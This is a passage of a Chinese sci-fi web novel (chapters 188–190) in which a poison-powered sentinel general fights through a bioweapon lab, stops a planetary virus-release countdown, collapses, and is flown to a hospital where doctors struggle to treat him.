走在最前面的第一个护卫刚刚睁大了眼睛，便被贴身靠近的陆厌离带着惯性巨力的一肘狠狠撞击在了喉部的防护甲上。 即使全身都处于严密的保护之中，咽喉部位也是格外脆弱的要害。只听“咔嚓！”一声轻微的骨裂声响，对方的脖子便猛地一折，向后顶出一个古怪的凸起，随后，便软软倒在了地上。 此时，跟在后面的第二名守卫已经反应了过来，就在他抬枪的瞬间，陆厌离已经借着刚刚一记肘击的力量再次加速，脊背团起直直撞入了他的怀中，利用他的身体挡住后面两人攻击的同时，膝盖顺势重重顶在了他的腹部，当即打得那人瞬间蜷缩了下去，喉头猛地吐出一口血来，失去了反应。 陆厌离根本不从第二名守卫身后出来，一手抓住他的衣领，将这人顶在自己身前，不去管最后一名持枪的普通守卫，便直扑向他感应中实力最强的那个哨兵。 对方明显也是一名很有战斗经验的老兵，乍逢突袭，第一时间便拟化了部分躯体，也根本不去在意被陆厌离挡在身前的同伙的死活，见来袭者已经近在眼前，一声怒吼便扬起拟化出的巨爪，狠狠向前挥了下去。 只听一声凄厉惨叫，被挡在二人中间的守卫便被来自自己同僚的致命攻击，狠狠抓在了后背的防护服上。 火星四溅之后，坚韧的防护服发出一声令人牙酸的撕裂声，整个从背后裂开，连同身处其下的守卫一起几乎被切成了两段。猩红血水，碎肉脏腑顿时喷洒一地。 陆厌离为对方的狠辣稍稍一惊，动作却丝毫没有犹豫，右手在守卫身体的遮挡下闪电般向前探出，同样拟化而出的狮掌上，泛着蓝紫微光的锋利指甲凶狠刺出。只听一声闷哼，已经在对方的肚腹上横拉出一个尺许长的巨大伤口。 一击得手，陆厌离根本不停留，右脚狠狠在地面上一踏一转，整个身子便强行扭转向侧面，左脚再往后一蹬，便踩着滑腻的血肉，带着一身的血腥直直冲向最后一名守卫。 此时，最后一人已然将枪口对准了他，蓝色的能量聚集在枪口处，即将发射。陆厌离退无可退，眼神一厉，在对方开枪的瞬间猛地一个侧身。 “呃！”能量枪的射速太快，即使是陆厌离也无法在这么近的距离下完全避开。一声闷哼，左臂中枪，“滋啦”一声，能量光束灼烧皮肉的剧痛传来。 可这样的疼痛不但没有令陆厌离退缩，反而让他脸上的表情越发镇静下来。趁着能量枪刚刚发射后的间隙，他已经袭上对方的面门，一记势大力沉的手刀狠狠砸在对方颈侧，巨大的力量令那守卫身子一歪，眼前一黑失去反应，瞬间结束了战斗。 “砰！”最后一名守卫刚刚软倒，身后传来一声重物砸落地面的声音。陆厌离面色平静地深吸一口气回头，那个战力强大的哨兵已经浑身青紫，倒在地上失去了意识。 正要继续前进，陆厌离却身形一晃，脑中一阵眩晕，猛地撑在墙壁上稳住身形，嘴角已经溢出一丝发黑的血液。身体开始向他发出警报，他当即明白，自己的状态正在急速下滑。 必须要更快一点。 陆厌离深呼吸几个来回，时间紧迫，他也不再去处理战场，辨认一下方向后，便按照记忆里的路线继续前进。 转过前方的转角，陆厌离已经能看到通道口后面闪动的人影。 看着那些人毫无异状的举动，陆厌离松了口气，看来刚才那番战斗并未被人察觉。 前方的道路毫无遮蔽，陆厌离不再直接往前走，远远观察了一下场中的情势。 场地最中央，停放着一艘小型穿梭舰，体积虽然不大，可陆厌离一眼便认出，这是一种尚未出现在市面上的最新型隐形穿梭舰。大厅中聚集的人手不算太多，大概只有十几个，中间站着的三、四个身穿白色研究服的人正指挥着人手将几个密封箱往穿梭舰上搬运。旁边还有两人，正在把一摞摞纸质资料和封存在低温箱中的样品试管封装起来。 除了这几个明显是研究员的人，旁边围绕着大厅站着一圈荷枪实弹的重装装甲守卫。这些守卫的实力，比刚才遇到的那名哨兵还要强悍。能明显看出他们身上的装甲都是可变形使用的定制兽装装甲。这就意味着，护卫在这里的守卫，全部都是B级以上的高级哨兵。 不能正面突破。 陆厌离心中第一时间闪过这个念头。 同时面对十几个高级哨兵，他不能保证短时间内结束战斗，而时间拖得越久，他身上的病毒发作就越快。更何况，若是被站在中间的那些疯子反应了过来，直接在这里释放病毒，或者利用远程控制提前启动了全球释放程序，那这一星球的人还是一样要死。 必须要第一时间先废了中间那群研究员的行动力…… 陆厌离放平呼吸，将自身的存在感压制到最低，将目光投向前方大厅上空，扫视一圈，终于找到了一个合适的突破口。 慢慢后退回身后的走廊里，他换了个方向疾奔而去。 五分钟后，陆厌离已经化为猫身，通过通风管道，潜行到了众人头顶。透过格栅看去，几个目标人物正在下方，几道嬉笑的议论声，夹杂在匆匆的脚步声中，传到了陆厌离耳畔。 “……哈哈，那群蠢货，打得可真激烈，离得这么远，我都能听到地面上的爆炸声。” “一群只有肌肉没有脑子的白痴，教授随便几句话就能把他们骗得团团转，就这，老大用得着废了我们在这边辛辛苦苦打造出来的基地吗？” “要你多嘴，你不要命了？！上面人让你做什么就做什么！” “哎呀，我就是随便说说……也不知道，那个陆厌离会不会真的被那群乌合之众干掉。” “怎么可能？他要是想的话，这个星球上根本没人能伤到他。不然上面怎么会让我们直接释放病毒呢？” “话说，他自己不就是毒系的吗？咱们这病毒真能干掉他吗？” “那当然了！教授可是根据他的身体测试数据专门为他研制的病毒，他这次死定了！” 陆厌离眸中更冷，只为了杀他一人，宁愿暴露一座经营了好几年的研究基地，还赔上一个星球上所有人的性命？ 对方认为，杀死我以后得到的收益，抵得过这样沉重的损失？ 陆厌离心中暗惊，可此刻时间紧迫，已经来不及去细想，只得先将这个疑虑压入心底。 不再等待，陆厌离深吸一口气，体内精神力一催，澎湃如山岳般的巨量精神力被他全部调动起来，同时，脚下一蹬踹开格栅，纵身跃下。 还在空中时，身形便一瞬虚幻化为人形。 下一秒，巨量精神力化为蓝紫毒雾从他身上炸开，瞬间充斥了整个大厅上空，随即，又如潮水般倒卷回来，在他身前疯狂旋转、缠绕，塌缩凝聚成一团粘稠液球，剧烈颤动起来。 山河倒倾般的庞大威势震得大厅中众人瞬间骇立当场，无法动弹。而后，压缩到极致的液球在盘绕中缓缓减速，一簇不详的蓝紫色虚幻火焰忽地从液球中间缭绕而起。 “毒蚀爆！” 随着一声低沉的厉喝，被压缩到极致的液球，彻底化为一团蓝紫近黑的暴烈火焰，轰然炸开。 整个大厅瞬间被炸裂迸射而出的火焰席卷，无形的暴烈波动在这近乎密封的空间中剧烈冲撞，在墙壁上轰出巨响。场中所有站着的人全部被这强大的冲击力冲撞地倒飞了出去。 离中央的爆裂点稍远一些的地方，护卫们“砰砰砰”地被砸出去之后，实力强一些的，还尚有反应的余地。一落地便拟化为最强形态，以抵抗后续随着虚幻的毒火侵入体内的剧毒。 而那几个离陆厌离最近的研究员，被第一道冲击波摔出去的时候便全部失去了意识，待翻滚着落到地面时，已经一脸青紫，瞬间毒入肺腑失去了神志。 “敌袭！是陆厌离！”场中等级最高的护卫队长猛地吐出一口黑血，他在看到那个标志性的S级技能时便瞬间明了了来者的身份。不等后续的火焰毒雾来袭，便第一时间架起了能量步枪向着空中的人影扫射过去。 明亮的能量光束在暗沉的蓝紫色中分外明显，陆厌离在空中强行扭转身形避开，可后续的第二波技能却被迫打断。 被那队长的大吼声震醒过来的其他护卫们，此时纷纷反应了过来，瞬间，伴随着声声怒吼，数十道光束从四面八方向陆厌离的方向袭来。 陆厌离有些狼狈地摔落下来，落地的瞬间，他猛地压低了身体脚下一蹬，在上空毒雾的掩护下向着护卫队长的方向直冲而去，可左肩仍是被一道漏网光束从前到后穿透，炸开一蓬血花。 “呃！”陆厌离一声闷哼，眼神一厉，干脆彻底放弃了防御，顶着密集的火力，以伤换命，将速度提升到极致，在满场的毒雾、火焰、障碍物遮掩下，合身冲上，以最原始的方式收割起剩余护卫的生命。 拳、脚、肘、肩全都变成了致命的武器，短短几分钟内，他将已经化为本能的战斗意识发挥到了极致，在伤口从他身上迸开的同时，一个个人影也彻底倒了下去。 当场中毒雾散尽，虚幻的毒火在最后一闪后，销声匿迹的时候，场中最后一个站着的人影，也在凄厉的惨叫声中，轰然倒下。 第189章 几分钟前， 喧嚣于空气中的烟尘，无声翩然落地。 整个大厅中，寂静了下来， 只闻一人嘶哑的喘息声。 陆厌离强压下喉咙口翻涌上来的血气，鼻腔里却已经有温热腥甜的液体不受控制地淌下。他脑中一阵晕眩，踉跄了一步，连忙撑住旁边的金属仪器， 这才稳住了身形。 晃了晃头， 甩去耳边已经开始缭绕的杂音， 陆厌离用破损的袖子抹去血迹，在脸上留下一道暗红阴影。 视野像是接触不良的电视屏幕一般忽明忽暗， 边缘扭曲着阵阵发黑。他不在意地拍了拍太阳穴，让自己更加清醒一些，集中注意力去查探大厅中横七竖八躺倒下来的护卫和研究员们， 确认所有人都已经失去了意识或行动能力， 才算松了一口气。 危机仍未解除，但最严峻的一关已经过去了。 他看了看时间，离十二点还有半个多小时。 深吸一口气， 他调动起体内剩余的精神力。他的能力没法压制住体内肆虐的孢子病毒， 但起码还能做到一些别的。 精神力随着意志涌向身上数处伤口， 暂时压制下伤痛， 他辨认了一下方向， 向着记忆中主控室的方向移动过去。 实验室中还有零星不明情况的守卫在四处巡逻。但好在首脑已俘， 陆厌离不必次次都全力以赴追求速度。 人数少、装备一般的， 他便直接打过去解决掉；若是同行的敌人太多，或其中有战力高强者，他便稍微绕一绕路暂避开来。 不过即使如此， 还是在一次遭遇战时，不慎被呼叫来支援的敌人一记能量枪伤到了腰侧，待走到主控室时，状态越发差了起来，喘息愈烈。 他支撑着，逐一从主控室附近的几个功能房间中搜索过去。走过资料储存室、设备间等等已经空无一人的房间，终于在一扇标记着陌生符号的金属门后，发现了他的目标。 这里正是那个实验室负责人对外发布视频时身处的房间——净化枢纽中心。 房间之中，管道林立，中央一个闪烁着灯光的中控台上，正显示出一个猩红的倒计时数字。 【00：03：15】 陆厌离已经有些混沌的脑子，一瞬清醒了过来，他快速扑到控制台前，从挂在腰间的内袋中取出一个特制的接口连接器，已经开始颤抖的手指试了两次，才将连接器插入了中控台上预留出的接口上。 随后，手指按上耳中的通讯器，声音沙哑无力地呼叫道：“严新雪！” 指挥室中，严新雪正双手合十紧张地等待在控制台前，在刚才那道通讯被切断后，她便一直严阵以待地在这里等待着，眼看着时间即将到达十二点，已经紧张得满头冷汗。 此时终于听到了来自陆厌离的再次通讯，连忙忐忑又急切地应声：“在！将军！” 指挥室中的其他军人们，此时也听到了严新雪这边的动静，纷纷扭头紧张地看向她。 “接口已连接到中控台，马上中止倒计时程序！”陆厌离没有任何废话，第一时间下达命令。 “是！”严新雪眼睛一亮，整个人兴奋得几乎跳了起来，手指一瞬在控制台上化作了残影。 “远程控制权限认证……” 【权限已通过！】 “倒计时启动程序……正在登陆……正在中止……” 【警告！中止操作不可逆！请确认是否中止？】 “确认！”随着一个按钮被重重敲下，严新雪几乎喊出了这个单词。 指挥室中，已经有人忍不住围上了严新雪的座位，看着主控屏幕上显示出的画面，紧张地吞咽着口水。 屏幕上，那刺目的红色倒计时，在严新雪的“确认”按键按下后，猛地定格在了【00：01：04】的数字上。随后，红色数字如砂砾般崩解消散，一行显眼的绿色大字重新出现在屏幕中央： 【释放程序已中止！】 “啊啊——！”指挥室中看到这一幕的众人，顿时欢呼了起来，激动得彼此拥抱。严新雪眼泪瞬间夺目而出，只觉得这几日来不眠不休地坚持终于迎来了最好的结果。 净化枢纽室内，陆厌离看着屏幕上出现的文字，终于长长吁出一口气，同样露出了一个轻微的笑意。 心中最重要的任务完成，那口一直撑着他走到这里的气刹那消散，陆厌离立刻脱力般踉跄了一下，顺着冰冷的控制台侧壁缓缓滑坐了下去。 视野被黑暗完全遮蔽，耳中嗡鸣一片，眩晕感铺天盖地袭来，陆厌离只觉自己一下子失去了空间感，猛地咳呛了一声，便再也止不住剧烈而浑浊的咳嗽，喉咙如破败的风箱般嗬嗬作响，鼻腔一热，什么黏腻的液体便淅淅沥沥地滴落了下来，染红衣襟。 通讯器中严新雪喜极而泣的声音变得越来越远，陆厌离脑中刹那醒悟，回光返照般重新清醒了一瞬，在彻底坠入黑暗前，努力地再次打开了麦克风，声音微弱却清晰地下达了最后一道命令：“严新雪……通知蕾拉，停止交火……让蕾拉……通过实验室中被劫持的通讯频道，第一时间把消息通告出去……” 话音刚落，他的手就失去了所有力气，“啪嗒”一声砸落在了地面上。头一歪，彻底失去了意识。 指挥室中，听着耳边断断续续传来的声音越来越小，严新雪宛如被人迎面浇了一盆冷水，刚刚升起的劫后余生的兴奋情绪瞬间熄灭。 “喂！将军！陆少将你怎么了？！”严新雪焦急地大声喊道，却听通讯器那边在一声嘈杂的噪音后，彻底失去了信号。 指挥室中正在庆祝的众人也马上发现了严新雪的异状，听到她的喊话，纷纷面露担忧。 严新雪强压下对陆厌离现在状况的担忧，深吸一口气，忆起陆将军最后下达的命令，迅速向蕾拉中校发起了通讯：“蕾拉中校！将军已将实验室彻底控制，病毒威胁解除。将军命令，立即停止一切佯攻行动，返回指挥部！” 这个女孩好像在陆厌离失去意识的那刻一瞬长大了，在向蕾拉中校传达了命令之后，立刻面色冷静下来，回望指挥室中的其他人：“将军已经帮我们渡过了最艰难的那一关，剩下的，该由我们来完成了！所有人立即回到自己的工作岗位上去，我们的任务仍未结束！” 话落，严新雪立刻回到了自己的座位上，眼睛专注地看向主控屏幕上显示的入侵进度，双手在控制台上飞速操作起来。 在利用接口上储存的脚本破解了实验室的权限之后，她的许多手段都有了用武之地。利用高超的技术夺取了实验室的主控权，她迅速找到了实验室负责人曾劫持过的全球通讯网络，强行切入了进去。 战场上，正在指挥着行动小队与治安军“激烈交火”的蕾拉收到严新雪的消息，先是一楞，继而大喜过望。始终提着的心彻底放松了下来。 她丝毫没有犹豫，立即下令：“任务已完成，全体都有！立即停止射击，撤回指挥部！” 门外的治安军本已打急了眼，此刻见到正与他们“交战”的军部小队，突然停下了火力，开始撤退，顿时被这突如其来的变化搞懵了，一时之间面面相觑，连手上的攻击都慢了下来。 带队的小队长也在此时呼哧呼哧地停下了动作，焦躁得发红的眼睛中露出了一些疑虑来。正要联系上司询问，却见旁边仍然竖立播放着广告的公共屏幕上，光影一晃，被另一副画面强行切入。 这幅景象在这几天中如此熟悉，所有看到了画面的人瞬间便屏住了呼吸，面色惨白起来。可出乎他们意料的是，显示出来的视频中，出现的并不是那个满面阴鸷的疯狂中年人的身影，而是一个令他们格外熟悉的人——正是十几分钟前还站在他们对面与他们火拼的蕾拉中校。 只见她身姿笔直地站在军部指挥室中，面色有些苍白，眼中却明显地泛起喜色。开口时，声音通过无数个公共频道的扩音器传遍了绿洲星的每一个角落： “绿洲星的全体民众们！我是联盟军部驻绿洲星分部指挥官，蕾拉·科斯塔中校！” 她停顿了一下，面上泛起激动的红晕。 她的这番表现，立即让一些仍然对联盟抱有希望的民众，眼中渐渐亮了起来，心中升起一丝希冀。 蕾拉深吸一口气，平复自己激动的情绪，而后才继续说了下去： “现郑重向全体绿洲星公民宣告：十五分钟前，联盟军部陆厌离少将已成功攻破‘创生科技’名下生化实验室，病毒全球释放程序已被成功中止！本次星球级威胁事件，正式解除！” 整个星球，似乎在这个瞬间停顿了下来。 聚集在指挥部外，愤怒呐喊，哭泣哀求的人群，眼睛大睁，动作僵了下来；紧急收拾了所有物资家当，开着悬浮车往远处奔逃的人们停下了脚步；房间里相拥在一起，一边向各路神佛祈祷一边相拥哭泣的家人们抬起了头。 寂静持续了片刻，似乎所有人都在怀疑自己是不是出现了幻觉。待看到周围的人群与自己一模一样的反应时，终于确定这不是自己的臆想。 随即，如同积蓄到了极点的火山，震耳欲聋的激动欢呼声如岩浆迸射，在大地上爆发开来。 所有人，在这一刻完全忘记了自己手上正在做的事，与身边的人们激动地互相拥抱在一起，狂舞着，流着泪大笑着，用癫狂的动作发泄着自己劫后余生的狂喜。 素不相识者大笑着祝贺彼此；亲密者紧紧搂抱，喜极而泣；怒目而视者放下了手中的武器，一笑泯恩仇。 整个星球沉浸在极度激动与兴奋的海洋中，久久不能平息。 然而，等最初那份激动的情绪渐渐平复下来，一种复杂的情绪开始在人群中蔓延开来，特别是那些曾经对联盟军部表露出敌意的人群，在这样的惊喜下，纷纷想起了自己曾经对军部，对陆厌离产生的种种恶意。 有人看向面前充满了恶毒诅咒的公共网络页面，心虚地马上删除；有人望向军部指挥部门口饱经摧残的外墙，与无可避免黯淡了下来的护卫屏障，心生愧疚；有人忙不迭地丢掉了紧握在手中的武器，狠狠扇了自己一巴掌；有人想起刚刚自己声嘶力竭喊出的口号，脸上阵青阵白。 “我们这几天……都做了些什么？” “我们在逼着一直保护我们的英雄……” “在陆少将为我们流血流泪的时候，我们在哭喊着求他去死……” “……他救了所有人，救了我们这些对他举刀相向的白眼狼……” 越来越多的民众为之前自己展露出的恶意哭泣惭愧，不到生命的最后一刻，没有人知道自己内心深处真正的模样。 人们远远望向指挥部的方向，目光中充满了复杂的情绪。愧疚、感激、尊敬、后悔。 有人对着指挥部的方向深深鞠躬，有人嗫嚅着喃喃着歉意，有人跪了下来深深埋下头颅，也有人哭泣着大声呼喊着陆厌离的名字。 “陆厌离……陆少将……” 渐渐地，杂乱的声音变得整齐，从星球各地响起的声音越来越大，所有的人，在这一刻都声嘶力竭地呼唤着同一个名字，以此驱散空气中仍然残留着的凝滞与恐慌，表达着自己朴素的羞愧与感激。 而反应最大的，却是那些在总督、长官的命令下，将枪口对准了军部的治安军士兵们。 在确定了自己所见非虚，这个席卷全球的灭顶之灾在自己不知道的时候，被自己刚刚还在敌对痛恨的人解决之后，许多人都呆呆地看向仍然被握在自己手中的武器，回想起几分钟前的疯狂与不智，手中的枪械忽而变得灼热烫手。 “哐当！” 不知是谁，第一个将枪械扔在了地上。紧接着，有如触发了连锁反应，越来越多的士兵将手中的武器丢了下来，甚至有人无力地瘫坐在了地面上，掩面痛哭起来。 嘴里喊着拯救世界，却一直在迫害拯救世界的英雄。这一事实，令反思起自己的人们无地自容。众人羞愧于自己之前的助纣为虐与对待朋友、战友、拯救者的刀兵相向。同时，又有着一点点的庆幸，自己最终没有沦为毁灭世界的帮凶。 种种复杂的情绪交织在一起，在危机彻底解除之后，共同构成了一幅充满了真实人性的浮世绘。 而在那无人知晓的地下深处，正在被所有人挂在嘴边疯狂呼唤的人，却毫无知觉地静静垂着头，从身上一滴一滴滑落下鲜血来，皮肤渐渐变得惨白而冰凉。 * 此刻，在绿洲星地表上的人类完全陷入了愧疚与感激的复杂情绪中时，环绿洲星轨道上，又是另一幅场景。 半个小时前，一路紧赶慢赶抵达了绿洲星的第九军团支援舰队，在接到来自陆厌离的命令后，一直悬停在近地轨道上，焦急地按照他预先给出的指令，将舰载相位炮的目标牢牢锁定在实验室的区域中，随时准备着释放毁灭性打击。 而现在，他们终于接到了来自地面的紧急通讯。 蕾拉中校的声音中带着强行压抑着的急迫与焦虑：“这里是绿洲星分部指挥中心，我是蕾拉·科斯塔。陆厌离将军现已成功解除此次病毒威胁事件，但自身伤重已失去联络，请求支援舰队立即登陆进行营救与医疗支援！” 通讯刚说到一半，全息屏幕前便换了人，来人正是此次来援的第九军团指挥官阿克塞尔！ 这个向来嚣张桀骜，无法无天的S级哨兵，在此刻面容格外严肃狠厉，在听到陆厌离伤重失联时，眼中骤然爆发出寒光来。 “明白。”阿克塞尔简短地回答了蕾拉的请求，便立刻转身，向着身后的下属们下令：“星舰立即下降高度，医疗队、陆战突击队，马上整备，做好登陆准备。” 边说着，他已经大跨步地向着登陆舰桥的方向走去，单手一甩，身上始终挂载着的智能装甲开始自动翻卷铺开，转瞬间便覆在了他的身上：“立即行动！我亲自带队下去！” 很快，第九军团星舰如同一座庞大山岳般的主舰体就出现在了绿洲星的天空上，被这个突如其来的巨大战争机器吓到的恐慌人群，在蕾拉中校的安抚下纷纷退避了开来。 舰艇迅速穿透大气层，摩擦起一溜儿红色的光焰，而后迅速降落在了军部指挥部附近。 舱门打开，属于联盟最强力量的远征装甲陆战突击队，穿着他们布满了刀痕勋章的武装装甲，迅速涌出。 只是一个亮相，属于真正的铁血战士的强大气势，便令现场的民众与治安军士兵安静了下来，顺从地被接管了过去。 陆战突击队之后，同样一身装甲的阿克塞尔，在几名亲卫下属的簇拥下，大步走下舷梯，与迎上来的蕾拉等人汇合在了一起。 阿克塞尔一眼扫过现场情况，一句废话也没有，直入正题：“现在情况什么样？” 蕾拉也知道此时时间紧迫，言简意赅地快速汇报了事件的经过与现在的态势，着重说明了陆厌离如今受伤失联的状况。 阿克塞尔从听到绿洲星总督协助那个实验室恐怖分子遏制军部行动开始，便脸色阴沉，直到听到陆厌离孤军深入，重伤完成任务时，更是不顾形象地狠狠骂了一声。 从蕾拉那里得知了所有经过后，立即下达了一连串的命令：“马上封锁实验室出口区域，逮捕在此次危机事件中帮助恐怖分子对抗联盟的所有人员，包括那位尊贵的总督先生！”说到这里时，阿克塞尔的眼中泛起一道愤怒的火光，“其余人等，帮助现存官方行政人员，镇压后续出现的残余骚乱，恢复绿洲星基本秩序！医疗队，随我行动！动作快！” “是！长官！”训练有素的第九军团士兵们齐声应是，而后立刻根据自家长官的命令开始分头行动。 全副武装面色冷峻的联盟正式士兵们如水流般迅速蔓延开来，所过之处，所有民众、治安军士兵几乎毫无反抗。 当两名士兵踹开总督府书房的大门，出现在面色灰败的总督面前时，这位一手帮助恐怖分子将事件引导至如今的局面，差一点覆灭整个星球的总督，终于低下了他高贵的头颅，任来人反剪住他的双手戴上了强磁手铐。一双眼睛里涌出浑浊的泪水，喃喃道：“都是我的错，是我罪有应得……只求你们能救出我的女儿……我愿意接受联盟的审判……” 当这位总督大人被押送出来时，周围围拢的人群立即群情激动地怒骂起来，当第一枚臭鸡蛋砸在他头上，却没有得到第九军团的士兵阻止时，各种肮脏的垃圾、臭掉的菜叶顿时如雨般被扔进了场内，砸在他的身上。 而阿克塞尔，此刻根本懒得去多看这人一眼。从指挥室的严新雪那里，获知了陆厌离的大概位置后，他马上亲自带队，领着一支医疗支援小队，迅速突破实验室正门，进入了依然弥漫着血腥味与硝烟的实验室中。 与陆厌离潜入时不同，此时众人从正面突破时，速度极快。原本众人还做好了遭遇残余敌人发生战斗的准备，可沿途看到的，却都是已经倒伏于地的守卫与四处破损的战斗痕迹。 血迹与碎肉几乎处处可见，每一处景象都令久经战阵的众人看到了当时战斗中的凶险。 整个小队完全安静了下来，所有人脚下的步伐更快，跟随着阿克塞尔几乎是奔跑着向前冲刺。 终于，在一番快速的分头搜寻之后，他们在那个标记着奇怪符号的房间中，找到了已然昏迷不醒的陆厌离。 他倚靠在冰冷的控制台前，静静地垂着头颅，面色灰败不省人事。身上满是灼烧的伤口与凝固的血迹。颜色发黑的血液仍然在慢慢从他的口鼻中一点点流溢出来，滴落在地面上汇成小小一团血泊。那轻轻的“滴答”声居然盖过了他微弱的呼吸声，成为了这里唯一的声音。 “陆厌离！”阿克塞尔一个箭步冲上前去，单膝跪地，第一时间伸手去探查他的颈动脉，紧张地摸到微弱的脉搏之后，马上向身后低吼道：“医疗队！快救人！” 随行的医官小跑上前，立刻进行紧急的生命体征检查，为陆厌离注射了通用抗毒血清与强心剂吊住他的生命。 五分钟后，在便携检测仪上的文字终于由濒危的鲜红色转为警告的橙黄色时，众人终于轻吁口气，心神暂时平定下来。 阿克塞尔立即站起身来转向跟在身后的蕾拉：“蕾拉中校，陆少将情况依然危机，我需要立即把他送回中央星去。我会把第九军团的支援队伍留下，这里后续的事宜全权由你来负责。做好最后的清剿与秩序恢复工作。” “是，将军！”蕾拉在看见陆厌离尚且生还后，也迅速冷静了下来，恢复了她一贯的认真严肃，闻言立即立正领命。 “这里就交给你们了。”阿克塞尔最后对着跟在身后的副官交代了一句，便亲自上前，在医疗官的配合下，将陆厌离小心翼翼地转移到了担架上，脚步匆匆却异常平稳地朝着出口处，已经启动了引擎等候着的专用医疗运输舰疾奔而去。 在所有人担忧的目光下，很快，这艘隶属于第九军团的医疗运输舰，脱离了编队，引擎全开，化作一道流光，向着中央星的方向飞速穿梭而去—— 作者有话说：猫猫又惨兮兮地回家了[可怜] 第190章 清晨， 中央星的天空少见地没了粉紫色的绚烂晨曦，而是灰蒙蒙的一片。天边厚重的铅云低垂，压得人有些喘不过气。 江寻猛然从噩梦中惊醒过来， 待再去回想梦中的情形时却一无所得，只觉心头莫名萦绕着一股挥之不去的阴霾。 他揉了揉眉心，试图驱散那股漫上心头的烦闷感，却在抬手时碰到了手腕上那条冰凉的腕带。 乍起的思念突袭而来， 他摩挲着那条腕带， 在这个安宁的早晨又想起了那个人。 久久， 才叹了口气，起床洗漱。 也不知是怎么了， 今天的他总觉得自己的精神不太集中，早晨准备早餐时，一向动作谨慎的他， 竟然失手打碎了一个白瓷杯， 将碎片和盛放在里面的牛奶撒了一地。 他当即便下意识地蹲下身去收拾，又在拾取碎片时被划破了一道细小的口子。 血珠涌出，江寻看着指尖那抹刺目的红痕， 眉头蹙了起来， 这一刻， 一种强烈的不安预感突然袭上心头。 同一时间， 阿克塞尔亲自护送着的医疗舰正通过中央星空港的安检入口， 停靠向指定的专用泊口。 舰艇尚未停稳， 便有一队身着密封式防护服， 手提设备箱、药箱的愈灵殿救护人员迎了上来。在舰门打开的第一时间便迅速冲了进去。 领头的男人与阿克塞尔打了个招呼，便指挥着带来的医护人员，将安置在密闭医疗舱内， 呼吸微弱，不省人事的陆厌离迅速转移上专用悬浮车，走特殊通道以最快的速度，直奔愈灵殿。 阿克塞尔等一路护送着陆厌离过来的人，也没有幸免地被余下的医护人员围了起来。 因为他们早在回程的路上，便向愈灵殿的医师们报告了陆厌离身上感染的高传染性孢子病毒，所以，所有近距离接触过陆厌离，与他在封闭舰舱中呆过不短时间的人员，都被现场隔离了起来，当场进行了一轮病毒筛查。 好在这一路上，阿克塞尔等人也一直注意着自身的安全，没有将陆厌离从密闭医疗舱中放出来。数小时后，所有人便全部通过了检测，解除了对他们的隔离限制。 按理说，将陆厌离安全送进了愈灵殿，这里便没有阿克塞尔的事情了。可他此时却没有离开的打算。 早在任务开始之前，他就和陆厌离通过气，发现了这次任务里蹊跷的地方。之后任务的发展状况更是离谱，本是一个对他们两来说都算常规的任务，做到最后却让陆厌离差点不知不觉地身死在那个地下实验室里。他怎么想都觉得这里面十分不对劲。 说实话，如果当时这个任务是由他接下来的，他才不会去管什么总督的威胁，病毒扩散的可能性。一定第一时间就强攻那个实验室，直接把那些搞事的疯子干掉。 也只有陆厌离这个，从小身负剧毒，时时刻刻都在担心伤害其他人的家伙，才会因为各种各样的顾虑，最后差点把自己搭进去。 这个任务就好像完全是为了陆厌离所设下的陷阱。 阿克塞尔面无表情，看着医疗舱里无知无觉躺着的陆厌离，转身在隔离监护室外坐了下来。在陆厌离清醒过来之前，他都不准备离开中央星了。 也许真的是阿克塞尔的身份起到了作用，在之后的两天里，陆厌离这边都没有出现什么意外。可是，愈灵殿的顶尖医师们，却在救治陆厌离时，遇到了新的棘手问题。 隔离监护室外，阿克塞尔透过双层玻璃的观察窗，看着里面的情形。 此时，几名穿着厚重防护服的医师正在小心翼翼地靠近昏迷中的陆厌离，尝试采集一些样本，进行最新的病毒检测。 然而，几人刚刚踏入医疗舱三米之内，监护室内原本平稳运行的几台环境监测仪，便突然发出了尖锐的警报声。同时，主控屏幕上代表着场域中精神波动阈值的曲线也开始剧烈跳动了起来。 阿克塞尔眉头一皱，这一刻，连站在监控室外的自己，都察觉到了从陆厌离身上弥漫开来的那股带着极致危险气息的精神力场。 室内的几名医师明显对此情况有所预料，当警报声响起的瞬间便马上后退，直退了五米有余，那尖锐的警报声才渐渐平息了下去。 为首的那位医师防护面罩下的脸色变得难看起来，又尝试了好几次，仍是一样的情形，终于放弃，带着身后的几位医师一起退了出来。 脱下防护面罩，尼克斯那张黑眼圈深重，不修边幅的面孔映入阿克赛尔的眼帘。 “不行，完全靠近不了。”尼克斯沮丧地摇了摇头，声音里满是疲惫与挫败，“试过很多种办法了，都无法靠近他。这样的话，根本没法采集到最新的病毒样本，配置针对性的解毒剂。” 原本阿克塞尔以为，把陆厌离送到了愈灵殿，在这帮联盟最顶尖的医师的治疗下，一个偏远研究所制造出来的孢子病毒，治疗起来应该只是时间问题，没想到，众人却是在采集样本这一关被阻挡了下来。 也许是因为当时突入实验室时，在那条如培养皿般的地下毒液处理通道中呆了太久，陆厌离身上染上了不止一种病毒。 在他刚刚被送入监护室的时候，医师们便通过检测，确定他体内不仅有多种不同传染阶段的孢子病毒，还有一些中间产物，乃至未知病毒变种。而且，这许多种的病毒，似乎与他自身的毒系能力产生了某些未知的交互反应，一直在发生着某些微妙的变化，要彻底解决这些麻烦的病毒，就必须实时监测其体内病毒的状态，随时调整解毒剂的配方。 但问题在于，陆厌离本身能力中自带的毒性就极强，现在身上又叠加了多种高传染性的未知病毒。在他失去自主意识的情况下，体内的精神力自发在他身上形成了一种自保性的防御力场。 这样的情况下，靠近他为他治疗的医师们，不仅要抵御物理层面上的病毒，还要承受几乎达到SS级的哨兵不受控的精神毒素攻击。在现有的防护措施帮助下，几位资深医师连短时间的靠近都成问题，根本无法达到实时监控的条件。 “他的精神力在本能保护他，排斥一切外来者的靠近。”头发花白的古德里安慢吞吞地走出监护室，一边叹气一边卸下身上那层严密的防护服，语气中充满了无奈，“如果一直无法安全靠近他，就无法准备地掌握他体内各种病毒的实时变化，解毒剂的研制进度会非常缓慢。” 监护室外，为了救助陆厌离聚集而来的众位专家们陷入了短暂的沉默，他们好像再次回到了陆厌离以前能力不受控的时期，病人自身现在成了最危险的因素，这样一来，他们所有的常规治疗手段都被迫中断，根本无从下手。 “哎，现在的状况虽然是病理性的，和以前的精神污染情况不一样，但需要的条件还是一样的。”一位年轻一些的医师叹气，“我们需要一位精神力足够强大，并且和他的匹配度足够高，能够化解他身上自发散溢出来的精神毒素，能令他的精神力不会自主反击，或者即使反击也能扛下来的高等级向导。” 